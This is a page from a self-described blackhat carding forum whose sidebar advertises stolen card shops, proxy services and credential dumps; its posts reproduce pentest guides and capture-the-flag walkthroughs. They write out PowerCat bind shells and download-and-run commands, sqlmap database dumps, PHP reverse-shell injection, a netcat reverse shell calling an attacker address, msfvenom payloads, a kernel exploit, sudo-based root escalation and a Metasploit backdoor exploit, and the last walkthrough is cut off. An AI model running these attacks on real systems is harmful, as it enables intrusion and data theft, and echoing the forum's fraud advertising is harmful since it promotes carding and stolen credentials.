Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum

Welcome, Guest

You have to register before you can post on our site.

Search Forums

(Advanced Search)

Forum Statistics

» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads

STUFF CC – BEST CC SHOP

2 hours ago

Last post by StuffCC

Vn5socks.net - Service Se...

6 hours ago

Last post by FireHeaven

Shopsocks5.com - Service ...

Yesterday, 12:42 PM

Last post by shopsocks5.com

Secretline.top @StarLinkC...

11-08-2026, 03:45 AM

Last post by Max097

Secretline.top @StarLinkC...

11-07-2026, 03:35 PM

Last post by Max097

Secretline.top @StarLinkC...

11-06-2026, 03:07 PM

Last post by Max097

[LUPIN ULP] 16.279.483 | ...

11-06-2026, 05:23 AM

Last post by ImLupin

Secretline.top @StarLinkC...

11-06-2026, 05:20 AM

Last post by Max097

Secretline.top @StarLinkC...

11-05-2026, 05:12 PM

Last post by Max097

⚡[350M] - UHQ ULP || URL:...

11-05-2026, 02:17 PM

Last post by eaglecloudofficial

[Guide] PowerCat -A PowerShell Netcat

Posted by: NINZA - 05-14-2020, 05:36 PM - Forum: Carders Home - No Replies

The word PowerCat named from Powershell Netcat which is a new version of netcat in the form of the powershell script. In this article, we will learn about powercat which a PowerShell tool for is exploiting windows machines.
Table of Content

Requirement & Installations
Testing PowerShell Communication
Bind Shell
Execute Shell
Tunnelling or port forwarding

Introduction & Requirements
PC-1 192.168.1.16
PC-2 192.168.1.19
Powercat PowerShell Script
Powercat brings the usefulness and intensity of Netcat to every ongoing form of Microsoft Windows. It achieves this objective by utilizing local PowerShell form 2 segments. This permits simple organization, use, and minimal possibility of being gotten by customary antivirus arrangements. Furthermore, the most recent adaptations of Powercat incorporate propelled usefulness that goes well past those found in customary types of Netcat.
By default, we cannot run PowerShell scripts in windows. To run PowerShell scripts, we have to first change the execution policy of PowerShell. First, we run PowerShell as an administrator then we run the following command to change the execution policy: –
Set-ExecutionPolicy Unrestricted
1
Set-ExecutionPolicy Unrestricted
[Image: 1.png?w=687]

Now we download powercat in the system. We can either download the powercat script and import it manually or use Invoke-Expression to download the powercat script and import it automatically. In our case, we are using Invoke-Expression to download the powercat script.
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
1
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')

[Image: 2.png?w=687]

Testing PowerShell Communication
Now we are going to test the working of powercat, first we setup our listener in PC-1.
powercat -l -p 9000 -v
1
powercat -l -p 9000 -v
-l is for listen mode
-p is for the port number
-v is for verbose mode
[Image: 3.1.png?w=687]

Now in PC-2, we use powercat to connect to PC-1 on port 9000 and send a message through powercat.
powercat -c 192.168.1.19 -p 9000 -v
1
powercat -c 192.168.1.19 -p 9000 -v
[Image: 3.png?w=687]

Now we switch to PC-1, and we find that we have received the message from PC-2.
[Image: 4.png?w=687]

Transfer File
We can also transfer the file using powercat, in PC-1 we setup the listener to accept the file from a remote machine inside the particular path and such as save the files as “file.txt” and therefore run the following command to initiate file transferring via port 9000.
powercat -l -p 9000 -of C:\file.txt -v
1
powercat -l -p 9000 -of C:\file.txt -v
-of is for the output file
[Image: 5.1.png?w=687]

Now we can use powercat to transfer the file from PC-2 to PC-1. Here we select a file called “1.txt” in PC-2 that will be transferred to PC-1.
powercat -c 192.168.1.16 -p 9000 -i C:\1.txt -v
1
powercat -c 192.168.1.16 -p 9000 -i C:\1.txt -v
-i is for the input file
[Image: 5.png?w=687]

Now in PC-1, we find that we have received the file from PC-2 inside C drive.
[Image: 6.png?w=687]

Bind Shell
In PC-1 we start our listener and execute cmd, creating a bind shell so that we can access the terminal of the remote machine, therefore execute below command.
powercat -l -p 9000 -e cmd -v
1
powercat -l -p 9000 -e cmd -v
[Image: 7.png?w=687]

We can connect to PC-1 from PC-2 using powercat and get a shell of PC-1.
powercat -c 192.168.1.16 -p 9000 -v
whoami
1
2
powercat -c 192.168.1.16 -p 9000 -v
whoami
[Image: 8.png?w=687]

Execute Powershell
We can use powercat to execute PowerShell instead of cmd to create a bind or reverse shell. In this case, we are going to create a PowerShell bind shell using powercat in PC-1.
powercat -l -p 9000 -ep -v
1
powercat -l -p 9000 -ep -v
[Image: 9.png?w=687]

Now we connect PC-2 to PC-1 using powercat and obtain a Powershell of pc-1.
powercat -c 192.168.1.19 -p 9000 -v
1
powercat -c 192.168.1.19 -p 9000 -v
[Image: 10.png?w=687]

Tunnelling or Port Forwarding
For this practical, we need 3 machines
PC-1
192.168.1.16
PC-2
192.168.1.19
PC-3
10.0.0.10
We can also use powercat for tunnelling. In our case we have the following systems:
We get a session of PC-2 from PC-1 using PSSession.
Enter-PSSession –ComputerName csuser-pc –Credential csuser
1
Enter-PSSession –ComputerName csuser-pc –Credential csuser
[Image: 11.png?w=687]

After giving the username and password for the target machine, we get access to PC-2 where we found another network interface of Class A IP network.
[Image: 12.png?w=687]

On the target machine, we download powercat using Invoke-Expression.
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
1
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
Now we check for common running services on the gateway and find that port 22 is open.
(21, 22, 80, 443) | % { powercat -c 10.0.0.10 -p $_ -t 1 -Verbose -d}
1
(21, 22, 80, 443) | % { powercat -c 10.0.0.10 -p $_ -t 1 -Verbose -d}
[Image: 14.png?w=687]

Now we use powercat for port forwarding so that we can use PC-1 to connect with PC-3.
powercat -l -p 9090 -r tcp:10.0.0.10:22 -v
1
powercat -l -p 9090 -r tcp:10.0.0.10:22 -v
[Image: 15.png?w=687]

We now connect to PC-3 using putty.
[Image: 16.png?w=687]

As seen from the image below we are able to connect to the Ubuntu Machine (PC-3) from the Attacker’s machine(PC-1)
[Image: 17.png?w=687]

As you know that we have already shown you how to configure

[To see content please register here]

. Now it’s time to move on to the next step which is the configuration of Web Application in Ubuntu 18. So today we will be learning how can we configure the 5 famous web applications (DVWA, bwapp, XVWA, SQLI, Mutillidae) in our web server for Web Penetration Testing. So, let’s do that.
Table of Content

Requirement
Web application
DVWA
bWAPP
XVWA
Sqli
Mutillidae

Requirement-Ubuntu 18.0
Web Application
A web application is a computer program that utilizes web browsers and web technology to perform tasks over the Internet. Web apps can be built for a wider uses which can be used by anyone; from an enterprise to an entity for a variety of reasons. Frequently used Web applications can include webmail.
DVWA
Let’s start You should download and configure this web application only within the html directory for all web applications in the browser through localhost. Go to your Ubuntu terminal and move inside html directory by running the following command and then download dvwa lab from the given link.
cd /var/www/html
git clone

[To see content please register here]

1
2
cd /var/www/html
git clone

[To see content please register here]

After the installation we will go inside the dvwa and there we will find a config folder, now we will move inside the config folder and there we will run the ls command to view all available folder, now, here you will see a config.inc.php.dist file. Now as you can see, we have moved config.inc.php.dist file to config.inc.php
cd /dvwa/config
mv config.inc.php.dist config.inc.php
1
2
cd /dvwa/config
mv config.inc.php.dist config.inc.php
Now open the config file using nano; where you will find that db user is root and db password is password.
[Image: 3.png?w=687]

Here you need to make the changes and give access to the Ubuntu user as in our case we have written raj as db user and as our ubuntu password is 123 so we have written 123 as db password.
[Image: 4.png?w=687]

Now we will try to open dvwa lab in the browser by the following URL and click on Create/Reset Database
http://localhost/dvwa/setup.php
1
http://localhost/dvwa/setup.php
[Image: 5.png?w=687]

Good! We have successfully configured the dvwa lab in ubuntu 18 as we can see that we are welcomed by the login page.
[Image: 6.png?w=687]

For login, we will use the dvwa username which is admin and password which is dvwa password by default.
[Image: 7.png?w=687]

bWAPP
A buggy web application that is purposely unsafe. Enthusiasts of security, system engineers, developers can find out about Web vulnerabilities and prevent them.
bWAPP prepares you for successful tests and penetration testing. Now we will configure bWAPP lab in Ubuntu 18. First, we will

[To see content please register here]

and then we will move inside the Downloads folder and then unzip the bWAPP file by the following command-
unzip bWAPP_latest.zip
1
unzip bWAPP_latest.zip
[Image: 8.png?w=687]

Now we will move bWAPP into var/www/html by the following command-
mv bWAPP /var/www/html
1
mv bWAPP /var/www/html
[Image: 9.png?w=687]

Now we will edit the config file; so, move inside the config file by the following command and where you can see that db username is root and db password is bug b default.
cd admin
ls
nano setting.php
1
2
3
cd admin
ls
nano setting.php
[Image: 10.png?w=687]

Now we will make some changes and will set our ubuntu user raj in place of root and set password 123 in place of bug. Save it and then exit the config file.
[Image: 11.png?w=687]

Now go to your browser and open bWAPP installation file by the following command and click on here as shown in the image below
http://localhost/bWAPP/install.php
1
http://localhost/bWAPP/install.php
[Image: 12.png?w=687]

Now you will get a login page of bWAPP where we will use the default username which is bee and default password which is bug and you are logged in in bWAPP.
[Image: 13.png?w=687]

Now you can start working on bWAPP.
[Image: 14.png?w=687]

When you will login as bee:bug; you will get the portal to test your penetration testing skill.
[Image: 15.png?w=687]

XVWA
XVWA is poorly coded written in PHP/MYSQL web application that helps security lovers learn security from applications. This application is not advisable online because it is Vulnerable to extremes as the name also suggests. This application should be hosted in a controlled and safe environment where you can improve your skills with the tool of your choice. So, let’s start-
First, we will download XVWA from GitHub; so, go to ubuntu terminal and open the following link to download XVWA lab inside html directory by the following link-
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once it is downloaded, we will open the config file of xvwa by the following command
cd xvwa
nano config.php
1
2
cd xvwa
nano config.php
Now we can see that the username of xvwa is root and password is left blank.
[Image: 19.png?w=687]

Now we will remove the root user from here and we will be using the ubuntu username and password here which is raj:123
Afterwards, we will save the file and exit.
[Image: 20.png?w=687]

Now browse web application through URL-localhost/xvwa and we can see that we are successfully logged in-
[Image: 21.png?w=687]

SQLI Labs
A laboratory that offers a complete test environment for those interested in acquiring or improving SQL injection skills. Let’s start. First, we will download SQLI lab inside html directory by the following link-
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once the download is done, we will move sqli labs into the /var/www/html directory and rename it to sqli. Then go inside the sqli directory where we will find /sqli-connections directory. Here we will run ls command to check the files and we can see that here is file by the name of db-creds.inc
we need to make some changes in the config file by the following command-
cd Sqli_Edited_Version/
ls
mv sqlilabs/ ../sqli
cd sqli
cd sql-connections/
ls
nano db-creds.inc
1
2
3
4
5
6
7
cd Sqli_Edited_Version/
ls
mv sqlilabs/ ../sqli
cd sqli
cd sql-connections/
ls
nano db-creds.inc
[Image: 22.png?w=687]

As we can see that username is given root and password is left blank which we need to modify.
[Image: 23.png?w=687]

Now here we will set the username and password as raj:123 Now save the file and exit.
[Image: 24..png?w=687]

Now browse this web application from through this URL: localhost/sqli and click on Setup/reset Databases for labs.
[Image: 25.png?w=687]

Now the sqli lab is ready to use.
[Image: 26.png?w=687]

Now a page will open up in your browser which is an indication that we can access different kinds of Sqli challenges
[Image: 27.png?w=687]

Click on lesson 1 and start the Sqli challenge.
[Image: 28.png?w=687]

Mutillidae
OWASP Mutillidae is a free open source purposely vulnerable web application providing an enthusiastic goal for web security. It’s a laboratory which provides a complete test environment for those who are interested in SQL injection acquisition or improvement. This is an easy-to-use Web hacking environment designed for laboratories, security lovers, classrooms, CTFs, and vulnerability assessment targets, and has dozens of vulnerabilities and tips to help the user.
So, let’s start by downloading by the clicking on the following link given below-
git clone

[To see content please register here]

1
git clone

[To see content please register here]

After the downloading, go inside the Mutillidae directory and where you will find a directory /includes, go inside this directory.
Inside this directory, we will find database-config.inc file which we need to open by nano command as shown in the image below.
cd mutillidae
cd includes
ls
nano database-config.inc
1
2
3
4
cd mutillidae
cd includes
ls
nano database-config.inc
Now here you will find that username is root and password is Mutillidae, by default and which we need to change.
[Image: 30.png?w=687]

Now we will use our ubuntu username and password which is raj:123. Save the changes and then exit
[Image: 31.png?w=687]

Now we will open this our local browser by the following URL: localhost/mutillidae where we will find an option of reset database. Just click on it to reset the database.
[Image: 32.png?w=687]

Now you will be redirected to a page which will ask you to click ok to proceed. Here you need to click on ok and you are done with the configuration of the Mutillidae lab.
So, In this way, we can setup our vulnerable web application lab for penetration testing.
[Image: 33.png?w=687]

Hello friends! Today we are going to take another boot2root challenge known as “DC-3”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from

[To see content please register here]

.
Security Level: Beginner
Penetrating Methodology:

Discovering Targets IP
Network scanning (Nmap)
Surfing HTTP service port
Searching exploits via searchsploit
Using SQLMAP to dump databases information
Using John the Ripper to Crack the Password
Login into JOOMLA
Inject malicious PHP Reverse Shell Code
Using Netcat for obtaining reverse connection
Exploit the kernel
Getting root access
Reading Final flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our Targets IP Address 192.168.1.104; Our next step is to scan our targets IP Address with nmap.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
From nmap result we found only HTTP service is running on port 80 and we got to know that JOOMLA CMS is installed on this website.
[Image: 2.png?w=687&ssl=1]

So, we navigate to port 80 by exploring target IP in the web browser and read the text message of the admin, moreover the website was running on Joomla CMS as found above.
[Image: 3.png?w=687&ssl=1]

So to identify installed Joomla version, we checked its Readme file. We can clearly come to know about the version of Joomla 3.7, I think this is might come in handy.
[Image: 4.png?w=687&ssl=1]

We looked for Joomla 3.7 in searchsploit and found JOOMLA SQL INJECTION exploit. We copied the exploits 42033.txt file on our machine and read it contents. It revealed a Command for Sqlmap along with a vulnerable URL.
[Image: 5.png?w=687&ssl=1]

Then we executed given below sqlmap command and with the help of it we look for the Database names that revealed database 5 entries as shown in the image given below where I notice joomladb.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
1
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
[Image: 6.png?w=687&ssl=1]

Let’s again use Sqlmap to look for the tables and column.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables --batch
1
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables --batch
After getting the table names, we have dumped the contents of table #_users using sqlmap, which revealed credentials which that come in handy to log into JOOMLA. But the password is encoded, we need to crack it. Time to fire up John up.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump --batch
1
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump --batch
[Image: 7.png?w=687&ssl=1]

We have saved the hash in our system and use john the ripper to crack the hash. Now we have both the credentials to log into Joomla.
Username- admin
Password- snoopy
1
2
Username- admin
Password- snoopy
[Image: 8.png?w=687&ssl=1]

Let’s login into Joomla as admin.
[Image: 8_2.png?w=687&ssl=1]

After spending some time exploring, we got an idea to add a malicious PHP code (available inside kali: /usr/share/webshells/php) in index.php of beez3 template for getting reverse shell as shown below.
[Image: 9.png?w=687&ssl=1]

On the other side, we set up a netcat listener. Upon Execution, we got the shell of the target system. To get a proper shell, we have used the python one-liner to spawn the TTY shell.
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
uname -a
lsb_release -a
1
2
3
4
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
uname -a
lsb_release -a
From the LSB description, we clearly knew for this version of Ubuntu has a direct exploit which can be used to get the root access and found our final flag.
[Image: 10.png?w=687&ssl=1]

Without wasting time, we found a privilege escalation exploit for ubuntu 16.04. We have downloaded it and extracted it.
cd /tmp
wget

[To see content please register here]

unzip 39722.zip
ls
cd 39772
ls
tar -xvf exploit.tar
1
2
3
4
5
6
7
cd /tmp
wget

[To see content please register here]

unzip 39722.zip
ls
cd 39772
ls
tar -xvf exploit.tar
[Image: 11.png?w=687&ssl=1]

After running the exploit, we have easily got the root access and thus got our Final flag.
ls
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
ls
./doubleput
cd root
ls
cat the-flag.txt
1
2
3
4
5
6
7
8
9
ls
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
ls
./doubleput
cd root
ls
cat the-flag.txt
[Image: 12.png?w=687&ssl=1]

Hello friends! Today we are going to take another boot2root challenge known as “DC-2”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from

[To see content please register here]

.
Security Level: Beginner
Penetrating Methodology:

Discovering Targets IP
Network scanning (Nmap)
Adding the Domain name to Host file
Surfing HTTP service port
Using WPscan for Username enumeration
Using cewl for creating wordlist
Logging into WordPress
Logging in through SSH
Escaping restricted shell
Finding binary in the sudoers list
Getting root access and Reading final flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687]

We found our Targets IP Address 192.168.1.101. Our next step is to scan our targets IP Address with nmap.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
OKAY!! With the following result of nmap scan, I found here port 7744 is used for SSH and port 80 for HTTP service, moreover there all it shows all http services are made to redirect on //dc-2.
[Image: 2.png?w=687]

Therefore, we thought of adding the Domain Name into our Host file, so that we will be able to access http services.
cat /etc/hosts
1
cat /etc/hosts
[Image: 3.png?w=687]

Since port 80 is open, we explored the Domain Name on the browser. We discovered the webpage got a WordPress CMS installed on it.
[Image: 4.png?w=687]

The Flag option on the webpage clearly got our attention. Let’s check what hint it has for us. So from this page, we got a really good hint to move ahead.
[Image: 5.png?w=687]

So, the first idea that came to us was to run a wpscan on the webpage and see what the scan enumerates.
wpscan --url //dc-2 --enumerate p --enumerate t --enumerate u
1
wpscan --url //dc-2 --enumerate p --enumerate t --enumerate u
[Image: 6.png?w=687]

I found three user names: admin, jerry and Tom and as said above we need to use cewl which is used for generating a dictionary by spidering website.
[Image: 7.png?w=687]

Therefore, we have used cewl to build a wordlist for passwords from inside //dc-2 as shown in the image.
cewl //dc-2/ > password
cat password
1
2
cewl //dc-2/ > password
cat password
[Image: 8.png?w=687]

So, we have a dictionary for passwords which we have generated using cewl and saved WordPress usernames in a text file.
cat users
1
cat users
[Image: 9.png?w=687]

Time to fire up wpscan with our username & password list to valid user login combination.
wpscan --url //dc-2 -U users -P password
1
wpscan --url //dc-2 -U users -P password
[Image: 10.png?w=687]

We have successfully found the password for Tom & Jerry. Let’s make good use of them.
jerry: adipiscing
tom: parturient
1
2
jerry: adipiscing
tom: parturient
[Image: 11.png?w=687]

Further, we login to WordPress using Jerry credentials. It was holding another clue for us in Flag 2.
[Image: 12.png?w=687]

Since the clue was telling us to find another entry point to reach our final flag. Suddenly we thought to make an SSH Login running on port 77454 by using Tom credentials.
We successfully got logged in but we have a restricted shell in which some commands are not found. But few commands are available.
ssh [email protected] -p 7744
ls
cat flag3.txt
echo $PATH
ls /home/tom/usr/bin
1
2
3
4
5
ssh [email protected] -p 7744
ls
cat flag3.txt
echo $PATH
ls /home/tom/usr/bin
As you can observe that cat program is not present inside /bin and tom can run only five programs present inside /bin directory.
[Image: 13.png?w=687]

Since we had a restricted shell, we found that we can use the Vi editor. Therefore, we use Vi editor to escape the restricted shell.
[Image: 14.png?w=687]

After escaping the restricted shell, we export “/bin/bash” as our SHELL environment variable and “/usr/bin” as our PATH environment variable so that we can run Linux commands properly.
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
1
2
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
After that, we try to open flag3.txt again using cat command and luckily found next hint to move ahead.
ls
cat flag3.txt
1
2
ls
cat flag3.txt
According to hint, now we need to switch user from tom to jerry but we don’t have jerry’s login credential. Then checked the sudoers list and found that tom can run “/usr/bin/git” as root without a password.
sudo -l
1
sudo -l
[Image: 15.png?w=687]

Having the root permission on git was like the cherry on the cake, because through this I can try to escalate low privilege shell to high privilege shell.
sudo git help add
1
sudo git help add
[Image: 16.png?w=687]

Since the help console of git opens with an editor where we can run below command. And for spawning root shell type !/bin/bash and hit enter.
[Image: 17.png?w=687]

Boom!!! We got the root access, then we switch to the root directory and found our final flag.
cd /root
ls
cat final-flag.txt
1
2
3
cd /root
ls
cat final-flag.txt
[Image: 18.png?w=687]

[Guide] How to do Web Server Lab Setup for Penetration Testing

Posted by: NINZA - 05-14-2020, 05:33 PM - Forum: Carders Home - No Replies

In this post, we will discuss how to set-up our own web server for penetration testing on Ubuntu 18. Ubuntu 18 has updated with the new features.
Table of Content
Requirement
Web Server configuration

Apache
PHP
MySQL
phpMyAdmin
FTP
SSH
Nmap

Requirement-ubuntu 18.0
Web Server Configuration
The Web server is a program that uses HTTP to serve users with files forming web pages in response to requests transmitted by their HTTP clients.
The Web servers can also be called dedicated computers and apparatuses.
Install Apache
First, we will install the Apache. Apache is the most commonly used Web server on Linux Systems. Web servers are used to serve web pages requested by the client computers. So, let’s first install Apache in the ubuntu by the following command-
apt install apache2
1
apt install apache2
We have successfully installed apache2, by default apache runs on port 80.
[Image: 1.png?w=687]

Install PHP
Now we will install PHP 7modukle for Apache 2 and for all of its dependencies. Earlier we used to install PHP 5 module for Ubuntu 14. But now as it is not compatible in ubuntu 18.so we will install the latest version of php which is php7.2 For this run the following command in ubuntu terminal-
apt install php7.2
1
apt install php7.2
As you can see, we have done with php installation.
[Image: 2.png?w=687]

Install MySQL Server
Now comes the next step which is the installation of MySQL server. MySQL is the famous open-source database which was very easier to install earlier. But now it requires some changes for Ubuntu 18.
So, let’s go ahead step by step.
First, we will install MySQL server by the following command-
apt install mysql-server
1
apt install mysql-server
[Image: 3.png?w=687]

So, we are done with the installation. In Ubuntu 14, MySQL did not need a password as it required only the root user to logged in. But now it needs a password and it won’t allow the root user to log in so we will provide a username and password of ubuntu in MySQL with the following command and as it will ask for the password; you have to use your ubuntu password here. After it gets logged in you will grant all the privileges to the user of Ubuntu as in our case we have given all the privileges to user raj which will be identified with the password of ubuntu which is 123 in our case and after which we will reset all the previous privileges so that it can start the service with the new changes. For this, the commands are the following.
mysql -u root -p
GRANT ALL PRIVILEGES ON *.* TO 'raj'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;
flush privileges;
1
2
3
mysql -u root -p
GRANT ALL PRIVILEGES ON *.* TO 'raj'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;
flush privileges;
Great we are done with MySQL server installation, by default it runs on port 3306, now restart MySQL service.
service mysql restart
1
service mysql restart
[Image: 4.png?w=687]

Install phpMyAdmin
Now the next step is the installation of a phpMyAdmin software tool which is written in PHP and which is proposed to handle the administration of MYSQL over the WEB and it also supports a wide range of operations on MYSQL. First, we need to install phpMyAdmin by the following command-
apt install phpmyadmin
1
apt install phpmyadmin
[Image: 5.png?w=687]

After the installation, it will ask you to choose the web server. Here you need to choose apache2 which will automatically be configured to run phpmyadmin.
[Image: 6.png?w=687]

Next, you will get a prompt which will be opened to configure a database for phpmyadmin with dbconfig-common. Here you need to click on yes and the enter.
[Image: 7.png?w=687]

Again, you will get a prompt which will ask you to submit the password for phpMyAdmin, to register with the database server. Here we have given 123 as the password as it is essential to give it a password now.
[Image: 8.png?w=687]

The next step is the configuration of phpmyadmin under apache, for this we need to edit apache2 conf file by adding two lines at the end of this file:
nano /etc/apache2/apache2.conf
1
nano /etc/apache2/apache2.conf

#phpMyAdmin Configuration
Include /etc/phpmyadmin/apache.conf
1
2
#phpMyAdmin Configuration
Include /etc/phpmyadmin/apache.conf
At the last, as shown in the image below and then save it and after the editing saves the file and restart apache2 service.
service apache2 restart
1
service apache2 restart
[Image: 9.png?w=687]

Now open phpmyadmin in the browser as localhost/phpmyadmin as shown in the image below-
[Image: 10.png?w=687]

Install ftp
Now we will install FTP server in ubuntu which is used for the transfer of computer files between a client and server on a computer network. For this run the following command in the terminal-
apt install vsftpd
1
apt install vsftpd
As we can see in the above screenshot that ftp service has been installed in our system which runs on port 21
[Image: 11.png?w=687]

Install ssh
Now the next is SSh protocol which is method for secure remote login from one computer to another.so lets install this service by the following command. It is installed successfully; by default, it runs on port 22.
apt install openssh-server
1
apt install openssh-server
[Image: 12.png?w=687]

Install Nmap
Now in order to check that the above services have been installed properly in our system; we will use nmap which is a scanner for ports and which tells us about the open ports and running services status.
So, let’s install that by the following command-
apt install nmap
1
apt install nmap
[Image: 13.png?w=687]

Once the installation is done, we will scan our own system by the following command and it will scan our system and will come up with the desired results as you can see in the image given below-
nmap 127.0.0.1
1
nmap 127.0.0.1
[Image: 14.png?w=687]

Hello friends! Today we are going to take another CTF challenge known as “SP ike”. The credit for making this VM machine goes to “

[To see content please register here]

”. Our goal is to get flags to complete the challenge.
Security Level: Intermediate
Penetrating Methodology:

Discovering Targets IP
Network scanning (Nmap)
Surfing HTTP service port
Configuring HEXCHAT IRC Client
Connecting to IRC Server
Creating PHP Malicious Script using MSFvenom
Using Netcat Listener
Spawning TTY Shell
Getting Root Access
Reading Final Flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687]

We found our target –> 192.168.1.21
Time to scan the Target’s IP with nmap. Nmap scan result shows FOUR open ports, 80(http), 139(NetBIOS-ssn), 445(NetBIOS-ssn), 6667(IRC).
nmap -sV -T4 192.168.1.21
1
nmap -sV -T4 192.168.1.21
[Image: 2.png?w=687]

Since port 80 is running HTTP, so we thought of browsing Target’s IP in our browser. But it is not much of great help. Moving on.
[Image: 3.png?w=687]

Even directory scanning using dirb tool was not very useful. At last, we are left with the IRC chat server on port(6667). So, we used an IRC client Hexchat to connect to the port(6667). First, we need to configure Hexchat by Adding a New Profile and Editing Connection Details.
[Image: 4.png?w=687]

Now Edit the Network ike which we have added and Give the Target’s IP as you can see in the image.
[Image: 5.1.png?w=687]

We have successfully connected to the IRC Server. And we found something interesting that the server has a channel #php which has a phpbot, I guess it wouldn’t be a problem for the phpbot to execute a php script.
[Image: 5.png?w=687]

We created a msfvenom script to exploit the target machine. We used the reverse_netcat payload to create this script.
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.34 lport=1234 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.34 lport=1234 R
[Image: 7.png?w=687]

After making a few tries, we finally able to execute our PHP script successfully. To get reverse shell execute the script given below.
!php $s=array(); $p=array(); proc_open("mkfifo /tmp/tsglu; nc 192.168.1.34 1234 0</tmp/tsglu | /bin/sh >/tmp/tsglu 2>&1; rm /tmp/tsglu", $s, $p);
1
!php $s=array(); $p=array(); proc_open("mkfifo /tmp/tsglu; nc 192.168.1.34 1234 0</tmp/tsglu | /bin/sh >/tmp/tsglu 2>&1; rm /tmp/tsglu", $s, $p);
[Image: 8.png?w=687]

Oh Yeah!! We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python. After doing sudo -l, we saw nmap can be used with root privileges. So to get root, we used commands given below and successfully got root access. Time to read the FLAG!!
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
echo "os.execute('/bin/sh')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nseid
cd /root
ls
cat flag.txt
1
2
3
4
5
6
7
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
echo "os.execute('/bin/sh')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nseid
cd /root
ls
cat flag.txt
[Image: 12.png?w=687]

Today we are going to solve another CTF challenge “irked”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of irked is 10.10.10.117
Penetrating Methodology

Scanning
Enumerating
Exploiting
Get user.txt
Privilege Escalation
Get root.txt

Walkthrough
Scanning
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -p- -sV 10.10.10.117 --open
1
nmap -p- -sV 10.10.10.117 --open
As you can see that port 22,80 is open for ssh, http services respectively, some other ports for IRC (unrealircd) are available.
[Image: 1.png?w=687&ssl=1]

It gave us a frustrated emoji when exploring port 80, as shown below, and some hints for irc are working. This image might have some hidden information, so I download this image and begin to penetrate it.
[Image: 2.png?w=687&ssl=1]

Enumeration
I tried to extract hidden information with the help of steghide, but it needs the passphrase for that. I search for unrealIRCd when this approach didn’t work.
[Image: 3.png?w=687&ssl=1]

Exploiting
Fortunately, I found an exploit for unrealircd in Metasploit, although the default port for ircd is 6667, it runs on 6697 here. I pwned the victim machine successfully after running the module.
use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.10.117
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.14.13
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6697
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
1
2
3
4
5
use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.10.117
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.14.13
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6697
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
So, as you can see, we’ve got the victim’s machine command session, let’s penetrate more to get user.txt and root.txt. First, to obtain the appropriate terminal, we need to import pty shell, so type:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
[Image: 4.png?w=687&ssl=1]

